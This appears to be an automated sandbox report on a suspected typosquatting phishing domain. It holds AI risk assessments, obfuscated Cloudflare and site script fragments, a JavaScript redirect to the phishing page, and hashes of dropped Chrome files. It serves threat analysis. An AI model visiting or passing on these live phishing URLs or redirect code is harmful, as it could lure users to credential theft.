aduzj2vN6jFizik8yn1VwG8HvO5m2eW2qlAbg3kGNVEDhfgw6BZdcTXmF.ZyR3Aj5ZuFoBmi.n1.JeDrUDIwNIFdxGCAcy', cITimeS: '1736862682', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'ribf8', nextRcV: 'UZ7Btd2p2jHYmD6HaF8aAbZAXsof6o_I0gcoJhsQs5s-1736862682-1.3.1.1-reotf1N4SyjkrBJBregMeZtDaqqblUVnoL1t5UwxypU', event: 'reloadRequest', }, "*"); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: windo
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This script appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from bots and other malicious activity. The script does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is primarily responsible for handling the Cloudflare challenge and providing translations for various messages. This behavior is consistent with a legitimate security mechanism and does not pose a significant security risk." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F"},"translations":{"outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_timeout":"Timed%20out","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_verifying":"Verifying...","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_footer_terms":"Terms","human_button_text":"Verify%20you%20are%20human","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_footer_privacy":"Privacy","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","testing_only":"Testing%20only.","turnstile_success":"Success%21","turnstile_feedback_description":"Send%20Feedback","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_refresh":"Refresh","turnstile_failure":"Error","turnstile_overrun_description":"Stuck%20here%3F","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_expired":"Expired"},"polyfills":{"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eP,eQ,eU,eV,eY,eZ,fs,fv,fy,fA,fB,fC,fO,g0,g6,g7,g8,gi,gt,gx,gE,eW,eX){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(670))/1(-parseInt(gI(266))/2)+-parseInt(gI(970))/3+-parseInt(gI(464))/4(-parseInt(gI(141))/5)+parseInt(gI(188))/6(parseInt(gI(1198))/7)+-parseInt(gI(191))/8+-parseInt(gI(911))/9+parseInt(gI(223))/10(parseInt(gI(732))/11),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,772380),eM=this\|\|self,eN=eM[gJ(418)],eO=function(gK,d,e,f,g){return gK=gJ,d={'nMBrm':gK(656),'tQCRS':function(h,i){return h^i},'sUNNj':function(h,i){return i^h},'nYdIz':function(h,i){return h-i},'fTGne':function(h,i){return h&i},'gBvkP':function(h,i){return i===h},'uYtFD':gK(839),'JEWCX':function(h,i){return i&h},'VEXaO':function(h,i){return h>>i},'yZHkL':function(h,i){return i*h},'aRUSP':function(h,i){return h+i},'wVnQZ':function(h,i){return h>>i},'ioIpr':function(h,i){return h&i},'MPEKN':function(h,i){return h+i},'Nexvg':function(h,i){return h^i},'iCcCJ':function(h,i){return h===i},'QGgTq':function(h,i){return h<i},'hcelI':function(h,i){return h<<i},'dKoTd':function(h,i){return h-i},'dEXRH':function(h,i){return h^i},'cYBnx':function(h,i){return h&i},'DgykX':function(h,i){return i^h},'vqTJB':function(h,i){return h^i},'UHeZX':function(h,i){return i&h},'MmhkE':function(h,i){return h&i},'aDGnB':function(h,i){return i===h},'anpJq':function(h,i){return h+i},'oeopz':function(h,i){return h^i},'fxPcI':function(h,i){return h-i},'HLJqW':function(h,i){return h^i},'iVcgA':function(h,i){return h-i},'odPpK':function(h,i){return i^h},'qDlcK':function(h,i){return h<i},'icIBN':function(h,i){return
URL: https://ar24consultation.wetransssecudoc.com Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://ar24consultation.wetransssecudoc.com
URL: https://challenges.cloudflare.com/turnstile/v0/b/e... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The script appears to be a utility or helper library with no high-risk behaviors such as dynamic code execution or data exfiltration. It does not interact with external domains or perform aggressive DOM manipulations. The code is not obfuscated, and there are no suspicious domain interactions. It primarily consists of function definitions and utility methods, which are common in JavaScript libraries." }
"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Ar(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function Bt(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function qt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null\|\|r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function zt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"\|\|n==="Set")return Array.from(n);if(n==="Arguments"\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6\|\|p[0]===2)){n=0;continue}if(p[0]===3&&(!u\|\|p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Gt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j\|\|(j={}));var L;(fun
URL: https://ar24consultation.wetransssecudoc.com/MXq8H... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script demonstrates moderate-risk behaviors, including the use of a SharedWorker or Worker to execute remote code. While this is not inherently malicious, it could potentially be used for malicious purposes if the code executed within the worker is not trustworthy. Additionally, the presence of a hardcoded secret code raises some concerns about potential data exfiltration or other suspicious activities. Further review of the worker code and the overall context of the application would be necessary to determine the full extent of the risk." }
window.secretCode="5eef648e64b136e53a28456a033fa5c8"; //Load WebWroker : window.shworker=null; var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }); if(window.SharedWorker)window.shworker = new SharedWorker(window.URL.createObjectURL(blob)); else if(window.Worker)window.shworker = new Worker(window.URL.createObjectURL(blob));
URL: https://ar24consultation.wetransssecudoc.com/MXq8HKfy-eg5TXl6di/index.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please complete the security check !", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://ar24consultation.wetransssecudoc.com/MXq8HKfy-eg5TXl6di/index.html Model: Joe Sandbox AI	{ "brands": "unknown" }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 12:51:06 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.966518687381078
Encrypted:	false
SSDEEP:
MD5:	E85A29A3699E3388FF91A536BB8439E2
SHA1:	586AEE8DBF07B44CE1F0B2E453B7A51A44C4EAD9
SHA-256:	DD76525E22C4A6BFBB8C06DF6436BA9627CCF02BBCD5B54B7AD119AEBFF3DFE3
SHA-512:	11918AB5A1D471CC058295CA29ADBF3AA32CCD446159DC4B6B852DB5BAC556B6B825C7DDD355CF1A82AF82332222E8FDBA2C570E0C79E4DD9C015CA63DF7DA34
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....9.[.f......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.ZXn....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zbn....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Zbn....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Zbn...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Zdn.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hf......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 12:51:06 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9817519705933417
Encrypted:	false
SSDEEP:
MD5:	715E36BF803BFCBCF01A5567AAF52D8E
SHA1:	24859F3B70F6B5B3B28983DC0AA1450AE5969872
SHA-256:	F9BC60AFFB2EFC2212600A87395C55D15281D5431BC05FAE276AE5AFCA174C2B
SHA-512:	A8294A6A53DF4A5C665B167D80F639F3FFCDE677539CBE50CA0F9C7362EA84DC92DC3ECC91FE53244F38D612297565F3ECF54B0626139A308F8E00FE3E4A8927
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......[.f......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.ZXn....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zbn....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Zbn....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Zbn...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Zdn.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hf......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 09:23:19 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	3.9933821943902945
Encrypted:	false
SSDEEP:
MD5:	53F0DC88C4F1FC3DFF8BFE6886AB10C3
SHA1:	7169C33585B18FD50599F6F745F030D291B9BFFB
SHA-256:	A3F91386F086648DC8E1BC017593CFFDB6E94666A6A81FD73A7F4DD61787A31D
SHA-512:	FFD48237E86EC9E8FFC8C9016C7DB9CACC1560A5874F56ECF3CB1262D3C3E3594937EB4E96CFAF04E0F8A0DEADC74C11CDCDB8A30D9CE5BABDDF6AEF4B6E8621
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....?.4 ?.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.ZXn....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zbn....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Zbn....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Zbn...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.R.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hf......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 12:51:06 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9778746268050016
Encrypted:	false
SSDEEP:
MD5:	66700AEEDF0C5E91A1C844DA09AB37D6
SHA1:	9623297FE885D4C0CC7DF9D09B785D118B184935
SHA-256:	A96688F21AEE2198395E315A6BED9D7B2F72A981A5204B6284C678EE5A5A1304
SHA-512:	0B3FCB1E46CCF79A5CC10F9724C358BD8E17D556C9C4263B83D2CA613FA040F56B167FC4BDD0ACB113BFFBE04A985281EAE95156C559AE26BAF06691E42BAD92
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......[.f......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.ZXn....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zbn....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Zbn....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Zbn...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Zdn.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hf......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 12:51:06 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.969441597753944
Encrypted:	false
SSDEEP:
MD5:	5F5661C45D23D20D9AEED951FE563583
SHA1:	B050CF5081FD3FCE1619094E2DCE0D976C31566B
SHA-256:	0578FBC9F9E8C1C16996FA81FCD96BC5AA614C8B02D1616883B37C29417412F1
SHA-512:	FEF14C65A5D0244D4FE3D2032C7B4BC4F1DD23AE96DC6AF293D1A4F80D34EACCBE08C7D2E633C0A0184CFFE8C1EF5AEA4CC4A4C4E921935D429EE9E7C1DB8E20
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....x..[.f......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.ZXn....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zbn....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Zbn....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Zbn...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Zdn.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hf......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 12:51:06 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9812359535993194
Encrypted:	false
SSDEEP:
MD5:	13FD0E6756C5F52F24EF6CB78A17685F
SHA1:	12363876B23D7D1923647A298806F56C61929284
SHA-256:	941498F6BCB1DB4724493EC9CB3ABA397F9AAB5A8E4A45F0CA3065AEE6C7B5C1
SHA-512:	126353050CC7BB4C50202C5820992AE7674E5E00E2B267E89C390F20A2859E9CAC8DCE7E3FFCA3943C3CD24CF5DA854AF8F782AE727F321281F5ADA7161625BD
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......[.f......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.ZXn....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zbn....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Zbn....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Zbn...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Zdn.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hf......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	106404
Entropy (8bit):	5.3639815962876245
Encrypted:	false
SSDEEP:
MD5:	920DBA2A9D981A1FB6B23EEB3808E063
SHA1:	9F6B8B0E38CD21ED64BA6EFC98DB8DD2755D220C
SHA-256:	7750ADF4099B74C0BEC40860C75B3EBC889724558944BC1C03EE0C91F0605D8C
SHA-512:	F7D7F67D7DE7497C64B224B7ED653A97794C0E8F5B65E3A0853B423FE5B9C4E40F875837FF2E0380FE2B92C4FD60E5A93588F09386AE5000D1325FEFC94B837C
Malicious:	false
Reputation:	unknown
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[2],{"+auO":function(t,e,n){var r=n("XKFU"),o=n("lvtm");r(r.S,"Math",{cbrt:function(t){return o(t=+t)*Math.pow(Math.abs(t),1/3)}})},"+lvF":function(t,e,n){t.exports=n("VTer")("native-function-to-string",Function.toString)},"+oPb":function(t,e,n){"use strict";n("OGtf")("blink",function(t){return function(){return t(this,"blink","","")}})},"+rLv":function(t,e,n){var r=n("dyZX").document;t.exports=r&&r.documentElement},"/KAi":function(t,e,n){var r=n("XKFU"),o=n("dyZX").isFinite;r(r.S,"Number",{isFinite:function(t){return"number"==typeof t&&o(t)}})},"/SS/":function(t,e,n){var r=n("XKFU");r(r.S,"Object",{setPrototypeOf:n("i5dc").set})},"/e88":function(t,e){t.exports="\t\n\v\f\r \xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029\ufeff"},"0/R4":function(t,e){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},"0E+W":function(t,e,n){n("elZq")("Array")},"0

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	212
Entropy (8bit):	4.959095935494792
Encrypted:	false
SSDEEP:
MD5:	43C30E8106CABC6222978D38959753CD
SHA1:	7B2A1050998C063D602D37BB8B303B3FD993702B
SHA-256:	9B91B12DFDD0EAF3A9531208B4D690B4E4ABDAD909B6442DC9F6DA8FCEFB0D2C
SHA-512:	72F78E024B8BBF9267CE5156AFFC22BBB6CDEF47E807805B78EBC90773F5342E31B2284CC2841680CD9CF4D602BE791520793B4666A5EB17808711FEF583B2B9
Malicious:	false
Reputation:	unknown
URL:	https://actu.wetransssecudoc.com/index.html
Preview:	<!doctype html><html><head><meta name='referrer' content='origin'></head><body><script>window.location.replace("https://ar24consultation.wetransssecudoc.com/MXq8HKfy-eg5TXl6di/index.html");</script></body></html>

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	94555
Entropy (8bit):	5.06394242860707
Encrypted:	false
SSDEEP:
MD5:	940FEFF436A6FB6FBA25E2FA78B88F49
SHA1:	B57396B0C9A0611707F0A2FE6D250EDEFA3B2281
SHA-256:	7AE3FE5A3005E6A4A45748A9025190DEB3DAD53F2E345261500EE5D8256D79F3
SHA-512:	B6BFDD010F9A82AAD2EBEBE9BDD55EA9CF7F7328C5261B8A0A6B2585322174C23F3274FBFDAB639D89BEB6CC1DE9F941AD1F8468E59D03B968818BB23BA9CC9E
Malicious:	false
Reputation:	unknown
URL:	https://m365.eu.vadesecure.com/safeproxy/styles.16be3c9519762a3240e8.css
